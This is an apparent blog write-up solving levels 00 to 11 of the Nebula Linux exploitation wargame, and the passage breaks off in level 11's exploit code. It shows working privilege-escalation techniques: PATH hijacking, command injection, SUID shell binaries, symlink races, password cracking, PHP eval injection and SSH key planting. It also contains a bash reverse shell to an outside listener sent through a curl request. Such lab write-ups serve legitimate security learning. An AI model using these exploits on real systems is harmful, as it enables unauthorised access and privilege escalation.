Nebula is a virtual machine from Exploit Exercises that goes through basic local Linux exploitation. Quoting from the website,
Nebula takes the participant through a variety of common (and less than common) weaknesses and vulnerabilities in Linux. It takes a look at
- SUID files
- Permissions
- Race conditions
- Shell meta-variables
- $PATH weaknesses
- Scripting language weaknesses
- Binary compilation failures
At the end of Nebula, the user will have a reasonably thorough understanding of local attacks against Linux systems, and a cursory look at some of the remote attacks that are possible.
Most of the levels are basic but there are a few levels that goes through interesting techniques. While there are already plenty of writeups for Nebula, this blog post will document my attempt.
The sha1sum of the ISO I am working with is e82f807be06100bf3e048f82e899fb1fecc24e3a.
level 00
This level requires us to find a Set User ID program that will run as the “flag00” account.
We can do this with the find
utility.
level00@nebula:~$ find / -user flag00 -perm -4000 -print 2> /dev/null
/bin/.../flag00
/rofs/bin/.../flag00
Running the /bin/.../flag00
binary escalates us to the flag00 user.
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ whoami
flag00
flag00@nebula:~$ id
uid=999(flag00) gid=1001(level00) groups=999(flag00),1001(level00)
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account
level 01
We are given the below source code containing a vulnerability.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
/usr/bin/env
runs a command in a modified environment.
The command is looked up via PATH
. We can exploit this by modifying PATH
to
point to an echo
binary that runs code that we control.
First, we write a shell.c
that will executes /bin/bash
. We will be reusing
this piece of code often in this exercise.
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv, char **envp) {
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/bin/bash");
}
We compile shell.c
.
level01@nebula:~$ gcc -o /home/level01/echo /tmp/shell.c
Setting PATH
to look up /home/level01
first will make the
/home/flag01/flag01
binary execute /home/level01/echo
instead of
/bin/echo
level01@nebula:~$ PATH=/home/level01:$PATH /home/flag01/flag01
flag01@nebula:~$ whoami
flag01
flag01@nebula:~$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
flag01@nebula:~$ getflag
You have successfully executed getflag on a target account
level 02
We are given the below source code containing a vulnerability.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
This is a classic command injection where the value of the USER
environmental
variable is passed directly into the system()
function.
level02@nebula:~$ USER=";/bin/bash #" /home/flag02/flag02
about to call system("/bin/echo ;/bin/bash # is cool")
flag02@nebula:~$ whoami
flag02
flag02@nebula:~$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
flag02@nebula:~$ getflag
You have successfully executed getflag on a target account
level 03
For this level, we are told to check the home directory of flag03. We are also told that there is a crontab that is called every couple of minutes.
level03@nebula:~$ ls -lah /home/flag03/
total 5.5K
drwxr-x--- 3 flag03 level03 103 2011-11-20 20:39 .
drwxr-xr-x 1 root root 260 2012-08-27 07:18 ..
-rw-r--r-- 1 flag03 flag03 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag03 flag03 3.3K 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag03 flag03 675 2011-05-18 02:54 .profile
drwxrwxrwx 2 flag03 flag03 3 2012-08-18 05:24 writable.d
-rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh
We see a world writable writable.d
directory and a writable.sh
script
containing the following:
#!/bin/sh
for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
It appears that a crontab runs writable.sh
which executes all the scripts in
the writable.d
directory. To confirm this, we create the following script in
the writable.d
directory:
echo "test" >> /tmp/testme
After a while, we notice that the file
/tmp/testme
was created and that it belongs to the flag03 user. This confirms
that all the scripts in the writable.d
directory will be run as the flag03
user.
level03@nebula:~$ ls -lah /tmp
total 20K
drwxrwxrwt 6 root root 200 2017-12-26 08:06 .
drwxr-xr-x 1 root root 220 2017-12-26 06:52 ..
-rw-rw-r-- 1 flag03 flag03 5 2017-12-26 08:06 testme
drwxrwxrwt 2 root root 40 2017-12-26 06:52 VMwareDnD
drwx------ 2 root root 100 2017-12-26 06:52 vmware-root
drwxrwxrwt 2 root root 40 2017-12-26 06:52 .X11-unix
To exploit this, we can add a script in writable.d
that gets the flag03
user to compile a SUID shell binary.
We reuse the shell.c
file from level 01.
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv, char **envp) {
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/bin/bash");
}
Next, we add the following script to the writable.d
directory:
gcc -o /home/flag03/shell /tmp/shell.c
chmod 4777 /home/flag03/shell
The script compiles the shell.c
file into a shell
binary and sets the SUID
bit.
After a while, we get a shell
binary in /home/flag03
.
level03@nebula:~$ ls -lah /home/flag03
total 14K
drwxr-x--- 1 flag03 level03 80 2017-12-26 08:15 .
drwxr-xr-x 1 root root 280 2012-08-27 07:18 ..
-rw-r--r-- 1 flag03 flag03 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag03 flag03 3.3K 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag03 flag03 675 2011-05-18 02:54 .profile
-rwsrwxrwx 1 flag03 flag03 7.2K 2017-12-26 08:15 shell
drwxrwxrwx 1 flag03 flag03 40 2017-12-26 08:15 writable.d
-rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh
Running it gets us a shell as the flag03 user.
level03@nebula:~$ /home/flag03/shell
flag03@nebula:~$ whoami
flag03
flag03@nebula:~$ id
uid=996(flag03) gid=1004(level03) groups=996(flag03),1004(level03)
flag03@nebula:~$ getflag
You have successfully executed getflag on a target account
level 04
We are given the below source code.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
The goal of this level is to read the token
file.
level04@nebula:~$ ls -lah /home/flag04
total 13K
drwxr-x--- 2 flag04 level04 93 2011-11-20 21:52 .
drwxr-xr-x 1 root root 300 2012-08-27 07:18 ..
-rw-r--r-- 1 flag04 flag04 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag04 flag04 3.3K 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag04 level04 7.3K 2011-11-20 21:52 flag04
-rw-r--r-- 1 flag04 flag04 675 2011-05-18 02:54 .profile
-rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
The binary disallows opening files whose names contain the string "token"
through the strstr()
check.
level04@nebula:~$ /home/flag04/flag04 /home/flag04/token
You may not access '/home/flag04/token'
We can bypass the check by creating a symlink to /home/flag04/token
that
does not contain the string "token" and open that instead.
level04@nebula:~$ ln -s /home/flag04/token /tmp/foobar
level04@nebula:~$ /home/flag04/flag04 /tmp/foobar
06508b5e-8909-4f38-b630-fdb148a848a2
The string in the token file is the password for the flag04 user.
level04@nebula:~$ su - flag04
Password:
flag04@nebula:~$ whoami
flag04
flag04@nebula:~$ id
uid=995(flag04) gid=995(flag04) groups=995(flag04)
flag04@nebula:~$ getflag
You have successfully executed getflag on a target account
level 05
For this level, we are told to check the home directory of flag05. We are also told to look out for weak directory permissions.
level05@nebula:~$ ls -lah /home/flag05
total 5.0K
drwxr-x--- 4 flag05 level05 93 2012-08-18 06:56 .
drwxr-xr-x 1 root root 320 2012-08-27 07:18 ..
drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup
-rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05 3.3K 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh
We notice a world-readable .backup
directory.
level05@nebula:~$ ls -lah /home/flag05/.backup/
total 2.0K
drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .
drwxr-x--- 4 flag05 level05 93 2012-08-18 06:56 ..
-rw-rw-r-- 1 flag05 flag05 1.8K 2011-11-20 20:13 backup-19072011.tgz
We copy and extract the archive.
level05@nebula:~$ mkdir flag05_backup
level05@nebula:~$ cp /home/flag05/.backup/backup-19072011.tgz flag05_backup/
level05@nebula:~$ cd flag05_backup/
level05@nebula:~/flag05_backup$ tar xvf backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
The archive looks like a copy of /home/flag05/.ssh
. We see that the content
of id_rsa.pub
is the same as the content of authorized_keys
.
level05@nebula:~/flag05_backup$ cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLAINcUvucamDG5PzLxljLOJ/nrkzot7EQJ9pEWXoQJC0/ZWm+ezhFHQd5UWlkwPZ2FBDvqxdcrgmmHT/FVGBjK0XWGwIkuJ50nf5pbJExi2SC9kNMMMP2VgY/OxvcUuoGhzEISlgkuu4hJjVh3NeliAgERVzxKCrxSvW48wcAxg4v5vceBra6lY7u8FT2D3VIsHogzKN77Z2g7k2qY82A0vOqw82e/h6IXLjpYwBur0rm0/u3GFB1HFhnAxuGcn4IsnQSBdQCB2S+eOUZ4PmiQ/rUSHuVvMeLCzrxKR+UG9zDwoCwwXpNJehAQJGCiL3JzBNnLjFaylSqKP6xj7cR user@wwwbugs
level05@nebula:~/flag05_backup$ cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLAINcUvucamDG5PzLxljLOJ/nrkzot7EQJ9pEWXoQJC0/ZWm+ezhFHQd5UWlkwPZ2FBDvqxdcrgmmHT/FVGBjK0XWGwIkuJ50nf5pbJExi2SC9kNMMMP2VgY/OxvcUuoGhzEISlgkuu4hJjVh3NeliAgERVzxKCrxSvW48wcAxg4v5vceBra6lY7u8FT2D3VIsHogzKN77Z2g7k2qY82A0vOqw82e/h6IXLjpYwBur0rm0/u3GFB1HFhnAxuGcn4IsnQSBdQCB2S+eOUZ4PmiQ/rUSHuVvMeLCzrxKR+UG9zDwoCwwXpNJehAQJGCiL3JzBNnLjFaylSqKP6xj7cR user@wwwbugs
Given that,
we should be able to ssh
in as the flag05 user using the corresponding
id_rsa
private key.
level05@nebula:~/flag05_backup$ ssh -i .ssh/id_rsa flag05@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ `/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
Currently there are 20 levels (00 - 19).
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
flag05@nebula:~$ whoami
flag05
flag05@nebula:~$ id
uid=994(flag05) gid=994(flag05) groups=994(flag05)
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account
level 06
For this level, we are told the flag06 account credentials came from a legacy unix system. In legacy unix systems, the password hash is stored in the world-readable /etc/passwd file.
level06@nebula:/home/flag06$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
We make a copy of /etc/passwd
and pass it to john
to crack the password.
root@kali:/mnt/hgfs/Share# john passwd
Using default input encoding: UTF-8
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello (flag06)
1g 0:00:00:00 DONE 2/3 (2017-11-30 08:12) 16.66g/s 12500p/s 12500c/s 12500C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Having cracked the password hash, we are able to login with the password "hello".
level06@nebula:/home/flag06$ su - flag06
Password:
flag06@nebula:~$ whoami
flag06
flag06@nebula:~$ id
uid=993(flag06) gid=993(flag06) groups=993(flag06)
flag06@nebula:~$ getflag
You have successfully executed getflag on a target account
level 07
We are given the below source code.
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
There is a command injection in this script where the value of the "Host"
parameter is passed directly into a system()
call which in perl can be done
through backticks (`
).
To exploit this, we will execute a command on the Nebula system to obtain a reverse shell. This is a technique we will be using often in this exercise. We start by setting up a netcat listener.
ncat -nlvp 8000
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 5F3F 6ECC 75A2 4FF9 C358 2913 09FF 5C75 6D50 F5A4
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
The reverse shell we will be using is a bash based one:
bash -i >& /dev/tcp/192.168.144.1/8000 0>&1
We make a HTTP request with curl
. The Host
parameter is a URL encoded
127.0.0.1; bash -i >& /dev/tcp/192.168.144.1/8000 0>&1;
string.
curl http://192.168.144.191:7007/index.cgi\?Host\=127.0.0.1%3B%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.144.1%2F8000%200%3E%261%3B%0D%0A
We obtain a shell with our listener.
Ncat: Connection from 192.168.144.192.
Ncat: Connection from 192.168.144.192:53371.
bash: no job control in this shell
flag07@nebula:/home/flag07$ whoami
whoami
flag07
flag07@nebula:/home/flag07$ id
id
uid=992(flag07) gid=992(flag07) groups=992(flag07)
flag07@nebula:/home/flag07$ getflag
getflag
You have successfully executed getflag on a target account
level 08
For this level, we are told to check for world-readable files.
level08@nebula:~$ ls -lah /home/flag08
total 14K
drwxr-x--- 2 flag08 level08 86 2012-08-19 03:07 .
drwxr-xr-x 1 root root 100 2012-08-27 07:18 ..
-rw-r--r-- 1 flag08 flag08 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag08 flag08 3.3K 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 root root 8.2K 2011-11-20 21:22 capture.pcap
-rw-r--r-- 1 flag08 flag08 675 2011-05-18 02:54 .profile
We see a world-readable capture.pcap
file. We download and open it in
Wireshark for analysis. Following the TCP stream, we see what appears to be
a login sequence over a virtual terminal. 7f
is the DEL character in ASCII
which will correspond with the backspace key being entered.
That would mean that the password being used is "backd00Rmate". Using that as the password proved to be successful.
level08@nebula:~$ su - flag08
Password:
flag08@nebula:~$ whoami
flag08
flag08@nebula:~$ id
uid=991(flag08) gid=991(flag08) groups=991(flag08)
flag08@nebula:~$ getflag
You have successfully executed getflag on a target account
level 09
We are given the below source code.
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
There is a C setuid wrapper that runs the PHP script.
level09@nebula:~$ /home/flag09/flag09
PHP Notice: Undefined offset: 1 in /home/flag09/flag09.php on line 22
PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Warning: file_get_contents(): Filename cannot be empty in /home/flag09/flag09.php on line 13
The Cheese Method
This first method is not the intended way to complete this level. The C setuid
wrapper appears to be a modified php
binary.
level09@nebula:~$ /home/flag09/flag09 -h
Usage: php [options] [-f] <file> [--] [args...]
php [options] -r <code> [--] [args...]
php [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...]
php [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...]
php [options] -- [args...]
php [options] -a
-a Run as interactive shell
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse and execute <file>.
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-r <code> Run PHP <code> without using script tags <?..?>
... snip ...
In particular, there are options (-a
, -r
and -f
in particular) that
allows for execution of arbitrary PHP code. We can abuse this to get a flag09
shell.
level09@nebula:~$ /home/flag09/flag09 -r "system('/bin/sh');"
sh-4.2$ whoami
flag09
sh-4.2$ id
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
sh-4.2$ getflag
You have successfully executed getflag on a target account
The Normal Method
The PHP script reads a file with the following format and does some string replacements via regex before printing it out.
[email address@domain.com]
The intended vulnerability in the PHP script is the following line:
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
The /e
in the first parameter of preg_replace
is a PCRE modifier
that instructs preg_replace
to eval()
the second parameter as PHP code
after doing the normal substitution of backreferences.
More specifically, the address@domain.com
component of the file will be
eval()
as PHP code due to the \2
backreference.
However, complicating the exploit is the fact that certain characters will be escaped. Quoting from the documentation:
Single quotes, double quotes, backslashes () and NULL chars will be escaped by backslashes in substituted backreferences.
After some experimenting, we end up with the following file that executes with
system()
the value of the $use_me
variable, which according to the script
is assigned the value of the second argument to the flag09
binary.
level09@nebula:~$ cat /home/level09/text
[email {${system($use_me)}}]
Putting the pieces together:
level09@nebula:~$ /home/flag09/flag09 text /bin/sh
sh-4.2$ whoami
flag09
sh-4.2$ id
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
sh-4.2$ getflag
You have successfully executed getflag on a target account
level 10
We are given the below source code.
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
This is a classic time of check to time of use (TOCTTOU) vulnerability. The
access()
function call checks the real UID of the process to determine if
the user is able to access a file while the open()
function call uses the
effective UID instead.
The goal here is to use the flag10
binary to read the token
file.
level10@nebula:~$ ls -lah /home/flag10
total 14K
drwxr-x--- 2 flag10 level10 93 2011-11-20 21:22 .
drwxr-xr-x 1 root root 160 2012-08-27 07:18 ..
-rw-r--r-- 1 flag10 flag10 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag10 flag10 3.3K 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag10 level10 7.6K 2011-11-20 21:22 flag10
-rw-r--r-- 1 flag10 flag10 675 2011-05-18 02:54 .profile
-rw------- 1 flag10 flag10 37 2011-11-20 21:22 token
level10@nebula:~$ /home/flag10/flag10 /home/flag10/token 192.168.144.1
You don't have access to /home/flag10/token
We can race the program by getting it to read a symlink that initially points
to a file owned by the real UID (level09) and changing that symlink to point
to the token
file after the access()
function call and before the open()
function call.
We start by setting up a listener on port 18211 to receive the token file. We
use the -k
flag to keep the listener alive between connections.
% ncat -nlvkp 18211
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 67C3 CB2E CE15 70FF E1BE BF0D 07B7 8B49 7FCD 1DB9
Ncat: Listening on :::18211
Ncat: Listening on 0.0.0.0:18211
On the Nebula system, we open two terminals. On the first terminal, we run a
loop that constantly swaps the /tmp/token
symlink between pointing to
/tmp/faketoken
and /home/flag10/token
.
level10@nebula:~$ touch /tmp/faketoken
level10@nebula:~$ while :; do ln -fs /tmp/faketoken /tmp/token; ln -fs /home/flag10/token /tmp/token; done
On the second terminal, we constantly run the flag10
binary against
/tmp/token
.
while :; do /home/flag10/flag10 /tmp/token 192.168.144.1 ; done
We will eventually see the token being sent to our listener.
... snip ...
Ncat: Connection from 192.168.144.191:57857.
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
... snip ...
Like in previous levels, the string in the token file is the password for the flag10 user.
level10@nebula:~$ su - flag10
Password:
flag10@nebula:~$ whoami
flag10
flag10@nebula:~$ id
uid=989(flag10) gid=989(flag10) groups=989(flag10)
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account
level 11
We are given the below source code.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
We are told that there are two ways of completing this level. In the main
function, we see two branches that executes the process()
function which
contains a system()
function call.
We first look at the branch that gets executed when Content-Length
is more
than or equals to 1024.
We see that this branch essentially gets a random file, writes the content of
stdin
into the file, mmap
's the file content into a char
array that is
passed into the process()
function. The process function then decodes the
char
array before passing it into the system()
function call.
The decoding scheme in process()
involves XORing each character in sequence
with a key value. The inital key value is derived from the value of
Content-Length
and each subsequent key is derived by subtracting the output
of the XOR
operating from the existing key. Knowing this, we can easily write
a script to do the correct encoding of the command.
First we prepare our shell.c
.
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv, char **envp) {
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/bin/bash");
}
Next, we write a script that encodes the command we want to run.
def encode(command, key):
ret = []
for i in command:
enc = (ord(i) ^ key) & 0xff
ret.append(chr(enc))
key = (key - ord(i)) & 0xff
return "".join(ret)
def main():
command = "gcc -o /home/flag11/shell /tmp/shell.c; chmod +s /home/flag11/shell\x00"
length = 1024
key = length & 0xff
cmd = encode(command, key)
print "Content-Length: " + str(length) + "\n" + cmd + "A"*(length - len(cmd))
if __name__ == "__main__":
main()
We attempt to run out exploit. We have to change the TEMP
environmental
variable to point to a location where we can read and write to files.
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ python level11.py | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
/usr/bin/ld: cannot open output file /home/flag11/shell: Permission denied
collect2: ld returned 1 exit status
chmod: changing permissions of `/home/flag11': Operation not permitted
However, we encounter a permissions error when we try to write to
/home/flag11/shell
. This is odd because our binary is a SUID binary.
level11@nebula:~$ ls -lah /home/flag11
total 17K
drwxr-x--- 1 flag11 level11 40 2012-08-20 18:58 .
drwxr-xr-x 1 root root 120 2012-08-27 07:18 ..
-rw-r--r-- 1 flag11 flag11 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11 3.3K 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag11 level11 12K 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11 675 2011-05-18 02:54 .profile
drwxr-xr-x 2 flag11 flag11 3 2012-08-27 07:15 .ssh
Running the binary under strace
, we see an explicit call to setuid32
and
setgid32
that drops privileges back to the level11 user.
level11@nebula:~$ python level11.py | strace /home/flag11/flag11
... snip ...
getgid32() = 1012
setgid32(1012) = 0
getuid32() = 1012
setuid32(1012) = 0
... snip ...
However, we see that the the setuid32
and setgid32
calls only happens
after the mmap
happens. This means that we can potentially write to a
flag11 owned file or directory if we can guess the random file that the
getrand
function generates.
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
Looking at the getrand
function, the file name is relatively predictable as
it consists of a path determined by the TEMP
environmental variable, the PID
of the calling process and a random number generated by a PRNG seeded with the
current time. On Linux, PID numbers are assigned sequentially on a system wide
basis.
Our aim now is to write a SSH public key to the
/home/flag11/.ssh/authorized_keys
file. We use ssh-keygen
to generate a
SSH keypair for the level11 user. Our exploit is written in C to ensure that
our random
function is the same as the one used in the flag11
binary.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
void getrand(char **path, int pid, int time)
{
char *tmp;
int fd;
srandom(time);
tmp = getenv("TEMP");
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
}
int main(int argc, char **argv)
{
char line[256];
char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiXL8q1ehvJanDxk4CpzrFHJmCM6MMPWkqPYlxAd1NZ7m9djA3Yn/zlubEbYDoPkYlq3f8eqwgzN6PQs3OhynDwzvZkBwBd30bMnPdCp4J3tPvM/UGOYV5R9pmwnMaUzLSdbT718AYGHTaWiX9j6nOYjMCg1S/zUIXykD+xlsUHcDrqs1KUHGZADoSPSkV5uEtFNqJ6I3BXaUtPm5JzwI8BF0BO3+tIcnTT8aWARLGZ/wZqx50Ia9gX0b3AM1brAStJfKy3dInRy9dFgmopZOazDI/1y0rmhSw+672zex6UVY+7tLEsOKp1bK+GHCWgpOxJHud8RTIUGpl4lEgjgNr level11@nebula";
int pid;
int fd;
char *path;
FILE* stream;
pid = getpid() + 1;
getrand(&path, pid, time(NULL));
symlink("/home/flag11/.ssh/authorized_keys", path);
